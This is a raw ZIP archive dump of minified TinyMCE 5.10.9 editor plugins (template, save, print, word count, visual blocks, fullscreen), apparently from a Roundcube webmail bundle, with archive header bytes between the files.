Error(e||"error: getOrDie called on none.")},getOrNull:o(null),getOrUndefined:o(void 0),or:e,orThunk:a,map:r,each:function(){},bind:r,exists:c,forall:v,filter:function(){return b},toArray:function(){return[]},toString:o("none()")};function a(e){return e()}function T(M,t){function l(e,t){return function(e,t,n){for(var r=0,a=e.length;r<a;r++){var o=e[r];if(t(o,r))return P.some(o);if(n(o,r))break}return P.none()}(e,function(e){return e.text===t},c)}function i(e){M.windowManager.alert("Could not load the specified template.",function(){return e.focus("template")})}function u(e){return new _(function(t,n){e.value.url.fold(function(){return t(e.value.content.getOr(""))},function(e){return h.send({url:e,success:function(e){t(e)},error:function(e){n(e)}})})})}!function(){if(t&&0!==t.length)return P.from(O.map(t,function(e,t){function n(e){return void 0!==e.url}return{selected:0===t,text:e.title,value:{url:n(e)?P.from(e.url):P.none(),content:n(e)?P.none():P.from(e.content),description:e.description}}}));var e=M.translate("No templates defined.");return M.notificationManager.open({text:e,type:"info"}),P.none()}().each(function(o){function b(e,t){return{title:"Insert Template",size:"large",body:{type:"panel",items:e},initialData:t,buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],onSubmit:function(t){var e=t.getData();l(n,e.template).each(function(e){u(e).then(function(e){M.execCommand("mceInsertTemplate",!1,e),t.close()}).catch(function(){t.disable("save"),i(t)})})},onChange:(r=n=o,a=c,function(n,e){var t;"template"===e.name&&(t=n.getData().template,l(r,t).each(function(t){n.block("Loading..."),u(t).then(function(e){a(n,t,e)}).catch(function(){a(n,t,""),n.disable("save"),i(n)})}))})};var r,a,n}var T=function(e){for(var t=e.length,n=new Array(t),r=0;r<t;r++){var a=e[r];n[r]={text:a.text,value:a.text}}return n}(o),c=function(e,t,n){var r,a,o,c,l,i,u,s,m,f,p,d,g,y=(r=M,-1===(a=n).indexOf("<html>")&&(o="",c=r.getParam("content_style","","string"),l=r.getParam("content_css_cors",!1,"boolean")?' crossorigin="anonymous"':"",O.each(r.contentCSS,function(e){o+='<link type="text/css" rel="stylesheet" href="'+r.documentBaseURI.toAbsolute(e)+'"'+l+">"}),c&&(o+='<style type="text/css">'+c+"</style>"),i=-1===(g=(p=r).getParam("body_class","","string")).indexOf("=")?g:(d=p).getParam("body_class","","hash")[d.id]||"",u=r.dom.encode,s='<script>document.addEventListener && document.addEventListener("click", function(e) {for (var elm = e.target; elm; elm = elm.parentNode) {if (elm.nodeName === "A" && !('+(S.mac?"e.metaKey":"e.ctrlKey && !e.altKey")+")) {e.preventDefault();}}}, false);<\/script> ",f=(m=r.getBody().dir)?' dir="'+u(m)+'"':"",a='<!DOCTYPE html><html><head><base href="'+u(r.documentBaseURI.getURI())+'">'+o+s+'</head><body class="'+u(i)+'"'+f+">"+a+"</body></html>"),x(a,r.getParam("template_preview_replace_values"))),v=[{type:"selectbox",name:"template",label:"Templates",items:T},{type:"htmlpanel",html:'<p aria-live="polite">'+t.value.description.replace(/["'<>&]/g,function(e){return(C(t=A,n=e)?P.from(t[n]):P.none()).getOr(e);var t,n})+"</p>"},{label:"Preview",type:"iframe",name:"preview",sandboxed:!1}],h={template:t.text,preview:y};e.unblock(),e.redial(b(v,h)),e.focus("template")},t=M.windowManager.open(b([],{template:"",preview:""}));t.block("Loading..."),u(o[0]).then(function(e){c(t,o[0],e)}).catch(function(){c(t,o[0],""),t.disable("save"),i(t)})})}var M=function(n){function e(){return a}function t(e){return e(n)}var r=o(n),a={fold:function(e,t){return t(n)},isSome:v,isNone:c,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return M(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?a:b},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return a},P={some:M,none:r,from:function(e){return null==e?b:M(e)}},S=tinymce.util.Tools.resolve("tinymce.Env"),_=tinymce.util.Tools.resolve("tinymce.util.Promise"),w=Object.hasOwnProperty,C=function(e,t){return w.call(e,t)},A={'"':"&quot;","<":"&lt;",">":"&gt;","&":"&amp;","'":"&#039;"};n.add("template",function(e){function t(){return n.execCommand("mceTemplate")}var n,r,a,o,c,l;(n=e).ui.registry.addButton("template",{icon:"template",tooltip:"Insert template",onAction:t}),n.ui.registry.addMenuItem("template",{icon:"template",text:"Insert template...",onAction:t}),(a=e).addCommand("mceInsertTemplate",function(r){for(var a=[],e=1;e<arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}(y,a)),a.addCommand("mceTemplate",(l=o=a,c=function(e){T(l,e)},function(){var e=o.getParam("templates");u(e)?e(c):i(e)?h.send({url:e,success:function(e){c(JSON.parse(e))}}):c(e)})),(r=e).on("PreProcess",function(e){var t=r.dom,n=m(r);O.each(t.select("div",e.node),function(e){t.hasClass(e,"mceTmpl")&&(O.each(t.select("*",e),function(e){t.hasClass(e,s(r).replace(/\s+/g,"|"))&&(e.innerHTML=p(r,n))}),d(r,e))})})})}();PK
h�\¤45��-program/js/tinymce/plugins/save/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function o(e){return e.getParam("save_enablewhendirty",!0)}function a(e,n){e.notificationManager.open({text:n,type:"error"})}function t(t){t.addCommand("mceSave",function(){!function(e){var n=c.DOM.getParent(e.id,"form");if(!o(e)||e.isDirty()){if(e.save(),e.getParam("save_onsavecallback"))return e.execCallback("save_onsavecallback",e),e.nodeChanged();n?(e.setDirty(!1),n.onsubmit&&!n.onsubmit()||("function"==typeof n.submit?n.submit():a(e,"Error: Form submit field collision.")),e.nodeChanged()):a(e,"Error: No form element found.")}}(t)}),t.addCommand("mceCancel",function(){var e=t,n=r.trim(e.startContent);e.getParam("save_oncancelcallback")?e.execCallback("save_oncancelcallback",e):e.resetContent(n)})}function i(t){return function(e){function n(){e.setDisabled(o(t)&&!t.isDirty())}return n(),t.on("NodeChange dirty",n),function(){return t.off("NodeChange dirty",n)}}}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),r=tinymce.util.Tools.resolve("tinymce.util.Tools");e.add("save",function(e){var n;(n=e).ui.registry.addButton("save",{icon:"save",tooltip:"Save",disabled:!0,onAction:function(){return n.execCommand("mceSave")},onSetup:i(n)}),n.ui.registry.addButton("cancel",{icon:"cancel",tooltip:"Cancel",disabled:!0,onAction:function(){return n.execCommand("mceCancel")},onSetup:i(n)}),n.addShortcut("Meta+S","","mceSave"),t(e)})}();PK
h�\{�x((.program/js/tinymce/plugins/print/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),r=tinymce.util.Tools.resolve("tinymce.Env");n.add("print",function(n){var t,i;function e(){return i.execCommand("mcePrint")}(t=n).addCommand("mcePrint",function(){r.browser.isIE()?t.getDoc().execCommand("print",!1,null):t.getWin().print()}),(i=n).ui.registry.addButton("print",{icon:"print",tooltip:"Print",onAction:e}),i.ui.registry.addMenuItem("print",{text:"Print...",icon:"print",onAction:e}),n.addShortcut("Meta+P","","mcePrint")})}();PK
h�\D}�I/I/2program/js/tinymce/plugins/wordcount/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function r(t){return t}function g(t){for(var e=a,n=c.length,r=0;r<n;++r){var o=c[r];if(o&&o.test(t)){e=r;break}}return e}function d(t,e,n,r){for(var o,u,c,a,i,s,g,d,l,p=[],h=[],f=0;f<n.length;++f)h.push(t[f]),function(t,e){var n=t[e],r=t[e+1];if(!(e<0||e>t.length-1&&0!==e||0===n&&0===r)){var o=t[e+2];if(0!==n||2!==r&&1!==r&&12!==r||0!==o){var u=t[e-1];return(2!==n&&1!==n&&12!==r||0!==r||0!==u)&&(4!==n&&0!==n||4!==r&&0!==r)&&(3!==n&&1!==n||4!==r||4!==u)&&(4!==n||3!==r&&1!==r||4!==o)&&8!==n&&9!==n&&8!==u&&9!==u&&8!==r&&9!==r&&(5!==n||6!==r)&&(7===n||5===n||6===n||7===r||5===r||6===r||(10!==n||10!==r)&&(11!==r||0!==n&&4!==n&&10!==n&&11!==n)&&(11!==n||0!==r&&4!==r&&10!==r)&&12!==n)}}}(n,f)&&(o=e[f],!r.includeWhitespace&&W.test(o)||!r.includePunctuation&&E.test(o)||(u=f-h.length+1,"http"!==(a=e.slice(u,c=f+1).join(""))&&"https"!==a||(d=f,l=void 0,l=function(t){for(var e=d+1;e<t.length&&!W.test(t[e]);e++);return e}(g=e),i="://"===g.slice(d+1,l).join("").substr(0,3)?l:d,s=t.slice(c,i),Array.prototype.push.apply(h,s),f=i),p.push(h)),h=[]);return p}function o(t,e){for(var n,r=e.getBlockElements(),o=e.getShortEndedElements(),u=[],c="",a=new s(t,t);t=a.next();)3===t.nodeType?c+=t.data.replace(/\uFEFF/g,""):(r[(n=t).nodeName]||o[n.nodeName])&&c.length&&(u.push(c),c="");return c.length&&u.push(c),u}function n(t){return t.replace(/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,"_").length}function l(t,e){var n=o(t,e).join("\n").replace(/\u200B/g,"");return i(n.split(""),r).length}function p(t,e){return n(o(t,e).join(""))}function h(t,e){return n(o(t,e).join("").replace(/\s/g,""))}function f(t,e){return function(){return e(t.getBody(),t.schema)}}function C(t,e){return function(){return e(t.selection.getRng().cloneContents(),t.schema)}}function y(t){return f(t,l)}function v(t,e){var n=e;t.fire("wordCountUpdate",{wordCount:{words:n.body.getWordCount(),characters:n.body.getCharacterCount(),charactersWithoutSpaces:n.body.getCharacterCountWithoutSpaces()}})}var w,t=tinymce.util.Tools.resolve("tinymce.PluginManager"),m=function(){return(m=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t}).apply(this,arguments)},e=[new RegExp("[A-Za-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f3\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u10a0-\u10c5\u10d0-\u10fa\u10fc\u1100-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1a00-\u1a16\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bc0-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2d00-\u2d25\u2d30-\u2d65\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005\u303b\u303c\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790\ua791\ua7a0-\ua7a9\ua7fa-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc]"),new RegExp("[-'\\.\u2018\u2019\u2024\ufe52\uff07\uff0e]"),new RegExp("[:\xb7\xb7\u05f4\u2027\ufe13\ufe55\uff1a]"),new RegExp("[\xb1+*/,;;\u0589\u060c\u060d\u066c\u07f8\u2044\ufe10\ufe14\ufe50\ufe54\uff0c\uff1b]"),new RegExp("[0-9\u0660-\u0669\u066b\u06f0-\u06f9\u07c0-\u07c9\u0966-\u096f\u09e6-\u09ef\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be6-\u0bef\u0c66-\u0c6f\u0ce6-\u0cef\u0d66-\u0d6f\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29\u1040-\u1049\u1090-\u1099\u17e0-\u17e9\u1810-\u1819\u1946-\u194f\u19d0-\u19d9\u1a80-\u1a89\u1a90-\u1a99\u1b50-\u1b59\u1bb0-\u1bb9\u1c40-\u1c49\u1c50-\u1c59\ua620-\ua629\ua8d0-\ua8d9\ua900-\ua909\ua9d0-\ua9d9\uaa50-\uaa59\uabf0-\uabf9]"),new RegExp("\\r"),new RegExp("\\n"),new RegExp("[\v\f\x85\u2028\u2029]"),new RegExp("[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962\u0963\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09cb-\u09cd\u09d7\u09e2\u09e3\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2\u0ae3\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0c01-\u0c03\u0c3e-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d02\u0d03\u0d3e-\u0d44\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0d62\u0d63\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f3e\u0f3f\u0f71-\u0f84\u0f86\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f\u109a-\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b6-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u192b\u1930-\u193b\u19b0-\u19c0\u19c8\u19c9\u1a17-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f\u1b00-\u1b04\u1b34-\u1b44\u1b6b-\u1b73\u1b80-\u1b82\u1ba1-\u1baa\u1be6-\u1bf3\u1c24-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce8\u1ced\u1cf2\u1dc0-\u1de6\u1dfc-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua823-\ua827\ua880\ua881\ua8b4-\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua953\ua980-\ua983\ua9b3-\ua9c0\uaa29-\uaa36\uaa43\uaa4c\uaa4d\uaa7b\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe3-\uabea\uabec\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]"),new RegExp("[\xad\u0600-\u0603\u06dd\u070f\u17b4\u17b5\u200e\u200f\u202a-\u202e\u2060-\u2064\u206a-\u206f\ufeff\ufff9-\ufffb]"),new RegExp("[\u3031-\u3035\u309b\u309c\u30a0-\u30fa\u30fc-\u30ff\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\uff66-\uff9d]"),new RegExp("[=_\u203f\u2040\u2054\ufe33\ufe34\ufe4d-\ufe4f\uff3f\u2200-\u22ff<>]"),new RegExp("@")],u=new RegExp("^[!-#%-*,-\\/:;?@\\[-\\]_{}\xa1\xab\xb7\xbb\xbf;\xb7\u055a-\u055f\u0589\u058a\u05be\u05c0\u05c3\u05c6\u05f3\u05f4\u0609\u060a\u060c\u060d\u061b\u061e\u061f\u066a-\u066d\u06d4\u0700-\u070d\u07f7-\u07f9\u0830-\u083e\u085e\u0964\u0965\u0970\u0df4\u0e4f\u0e5a\u0e5b\u0f04-\u0f12\u0f3a-\u0f3d\u0f85\u0fd0-\u0fd4\u0fd9\u0fda\u104a-\u104f\u10fb\u1361-\u1368\u1400\u166d\u166e\u169b\u169c\u16eb-\u16ed\u1735\u1736\u17d4-\u17d6\u17d8-\u17da\u1800-\u180a\u1944\u1945\u1a1e\u1a1f\u1aa0-\u1aa6\u1aa8-\u1aad\u1b5a-\u1b60\u1bfc-\u1bff\u1c3b-\u1c3f\u1c7e\u1c7f\u1cd3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205e\u207d\u207e\u208d\u208e\u3008\u3009\u2768-\u2775\u27c5\u27c6\u27e6-\u27ef\u2983-\u2998\u29d8-\u29db\u29fc\u29fd\u2cf9-\u2cfc\u2cfe\u2cff\u2d70\u2e00-\u2e2e\u2e30\u2e31\u3001-\u3003\u3008-\u3011\u3014-\u301f\u3030\u303d\u30a0\u30fb\ua4fe\ua4ff\ua60d-\ua60f\ua673\ua67e\ua6f2-\ua6f7\ua874-\ua877\ua8ce\ua8cf\ua8f8-\ua8fa\ua92e\ua92f\ua95f\ua9c1-\ua9cd\ua9de\ua9df\uaa5c-\uaa5f\uaade\uaadf\uabeb\ufd3e\ufd3f\ufe10-\ufe19\ufe30-\ufe52\ufe54-\ufe61\ufe63\ufe68\ufe6a\ufe6b\uff01-\uff03\uff05-\uff0a\uff0c-\uff0f\uff1a\uff1b\uff1f\uff20\uff3b-\uff3d\uff3f\uff5b\uff5d\uff5f-\uff65]$"),c=e,a=13,W=/^\s+$/,E=u,i=function(t,e,n){n=m(m({},{includeWhitespace:!1,includePunctuation:!1}),n);for(var r=[],o=[],u=0;u<t.length;u++){var c=e(t[u]);"\ufeff"!==c&&(r.push(t[u]),o.push(c))}var a,i,s=function(t,e){for(var n=t.length,r=new Array(n),o=0;o<n;o++){var u=t[o];r[o]=e(u,o)}return r}(o,(a=g,i={},function(t){if(i[t])return i[t];var e=a(t);return i[t]=e}));return d(r,o,s,n)},s=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),x=tinymce.util.Tools.resolve("tinymce.util.Delay");void 0===w&&(w=300),t.add("wordcount",function(t){var e,n,r,o,u,c,a,i={body:{getWordCount:y(t),getCharacterCount:f(t,p),getCharacterCountWithoutSpaces:f(t,h)},selection:{getWordCount:C(t,l),getCharacterCount:C(t,p),getCharacterCountWithoutSpaces:C(t,h)},getCount:y(t)};function s(){return e.execCommand("mceWordCount")}return a=i,(c=t).addCommand("mceWordCount",function(){var t=a;c.windowManager.open({title:"Word Count",body:{type:"panel",items:[{type:"table",header:["Count","Document","Selection"],cells:[["Words",String(t.body.getWordCount()),String(t.selection.getWordCount())],["Characters (no spaces)",String(t.body.getCharacterCountWithoutSpaces()),String(t.selection.getCharacterCountWithoutSpaces())],["Characters",String(t.body.getCharacterCount()),String(t.selection.getCharacterCount())]]}]},buttons:[{type:"cancel",name:"close",text:"Close",primary:!0}]})}),(e=t).ui.registry.addButton("wordcount",{tooltip:"Word count",icon:"character-count",onAction:s}),e.ui.registry.addMenuItem("wordcount",{text:"Word count",icon:"character-count",onAction:s}),n=t,r=i,o=w,u=x.debounce(function(){return v(n,r)},o),n.on("init",function(){v(n,r),x.setEditorTimeout(n,function(){n.on("SetContent BeforeAddUndo Undo Redo ViewUpdate keyup",u)},0)}),i})}();PK
h�\鰜�dd5program/js/tinymce/plugins/visualblocks/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function f(t,o,e){var n,i;t.dom.toggleClass(t.getBody(),"mce-visualblocks"),e.set(!e.get()),n=t,i=e.get(),n.fire("VisualBlocks",{state:i})}function g(e,n){return function(o){function t(t){return o.setActive(t.state)}return o.setActive(n.get()),e.on("VisualBlocks",t),function(){return e.off("VisualBlocks",t)}}}tinymce.util.Tools.resolve("tinymce.PluginManager").add("visualblocks",function(t,o){var e,n,i,s,c,u,l,a=(e=!1,{get:function(){return e},set:function(t){e=t}});function r(){return s.execCommand("mceVisualBlocks")}i=a,(n=t).addCommand("mceVisualBlocks",function(){f(n,0,i)}),(s=t).ui.registry.addToggleButton("visualblocks",{icon:"visualblocks",tooltip:"Show blocks",onAction:r,onSetup:g(s,c=a)}),s.ui.registry.addToggleMenuItem("visualblocks",{text:"Show blocks",icon:"visualblocks",onAction:r,onSetup:g(s,c)}),l=a,(u=t).on("PreviewFormats AfterPreviewFormats",function(t){l.get()&&u.dom.toggleClass(u.getBody(),"mce-visualblocks","afterpreviewformats"===t.type)}),u.on("init",function(){u.getParam("visualblocks_default_state",!1,"boolean")&&f(u,0,l)})})}();PK
h�\nI�,s@s@3program/js/tinymce/plugins/fullscreen/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function a(e){var n=e;return{get:function(){return n},set:function(e){n=e}}}function e(t){return function(e){return r=typeof(n=e),(null===n?"null":"object"==r&&(Array.prototype.isPrototypeOf(n)||n.constructor&&"Array"===n.constructor.name)?"array":"object"==r&&(String.prototype.isPrototypeOf(n)||n.constructor&&"String"===n.constructor.name)?"string":r)===t;var n,r}}function n(n){return function(e){return typeof e===n}}function c(e){return!(null==e)}function s(){}function y(e){return function(){return e}}function r(e){return e}var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=e("string"),d=e("array"),o=n("boolean"),h=n("function"),i=n("number");function u(){return m}var v=y(!1),f=y(!0),m={fold:function(e,n){return e()},isSome:v,isNone:f,getOr:r,getOrThunk:g,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:y(null),getOrUndefined:y(void 0),or:r,orThunk:g,map:u,each:s,bind:u,exists:v,forall:f,filter:function(){return m},toArray:function(){return[]},toString:y("none()")};function g(e){return e()}function p(e){function n(){return r.get().each(e)}var r=a(A.none());return{clear:function(){n(),r.set(A.none())},isSet:function(){return r.get().isSome()},get:function(){return r.get()},set:function(e){n(),r.set(A.some(e))}}}function w(){return p(function(e){return e.unbind()})}function C(e,n){for(var r=e.length,t=new Array(r),o=0;o<r;o++){var i=e[o];t[o]=n(i,o)}return t}function D(e,n){for(var r=0,t=e.length;r<t;r++)n(e[r],r)}function b(e,n){for(var r=[],t=0,o=e.length;t<o;t++){var i=e[t];n(i,t)&&r.push(i)}return r}function S(e,n){return function(e,n,r){for(var t=0,o=e.length;t<o;t++){var i=e[t];if(n(i,t))return A.some(i);if(r(i,t))break}return A.none()}(e,n,v)}function x(e,n){return-1!==e.indexOf(n)}function E(e){return void 0!==e.style&&h(e.style.getPropertyValue)}function O(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var F=function(r){function e(){return o}function n(e){return e(r)}var t=y(r),o={fold:function(e,n){return n(r)},isSome:f,isNone:v,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(e){return F(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?o:m},toArray:function(){return[r]},toString:function(){return"some("+r+")"}};return o},A={some:F,none:u,from:function(e){return null==e?m:F(e)}},T=function(){return(T=Object.assign||function(e){for(var n,r=1,t=arguments.length;r<t;r++)for(var o in n=arguments[r])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e}).apply(this,arguments)},k=Array.prototype.push,R=Object.keys,L={fromHtml:function(e,n){var r=(n||document).createElement("div");if(r.innerHTML=e,!r.hasChildNodes()||1<r.childNodes.length)throw console.error("HTML does not have a single root node",e),new 